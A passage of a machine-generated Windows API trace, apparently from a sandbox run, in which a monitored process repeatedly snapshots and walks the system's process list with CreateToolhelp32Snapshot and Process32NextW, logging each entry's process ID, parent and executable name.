Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.513] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.515] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.517] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.519] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.522] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.524] CloseHandle (hObject=0x144) returned 1 [0132.524] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x3fc) returned 0x144 [0132.538] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.540] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.542] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.543] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.545] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.547] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.549] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.554] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.556] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.558] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.560] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.561] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.563] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.565] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.567] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.569] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.571] CloseHandle (hObject=0x144) returned 1 [0132.571] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x410) returned 0x144 [0132.588] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.589] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.591] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.593] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.595] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.596] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.598] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.600] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.602] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.604] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.608] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.609] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.611] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.613] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.615] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.617] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.619] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.621] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.623] CloseHandle (hObject=0x144) returned 1 [0132.623] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x444) returned 0x144 [0132.636] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.638] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.640] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.642] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.644] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.646] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.648] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.650] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.652] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.653] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.655] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.657] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.659] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.661] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.663] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.664] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.666] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.668] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.670] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.672] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.725] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.726] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x76c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.729] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0132.731] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.734] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0132.735] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.737] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x778, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0132.739] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0132.741] CloseHandle (hObject=0x144) returned 1 [0132.741] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x470) returned 0x144 [0132.767] Process32FirstW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0132.769] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0132.770] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0132.772] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.774] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0132.775] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0132.776] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0132.777] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0132.778] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0132.779] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.780] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.782] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.783] Process32NextW (in: hSnapshot=0x144, lppe=0xc00019f8b0 | out: lppe=0xc00019f8b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, 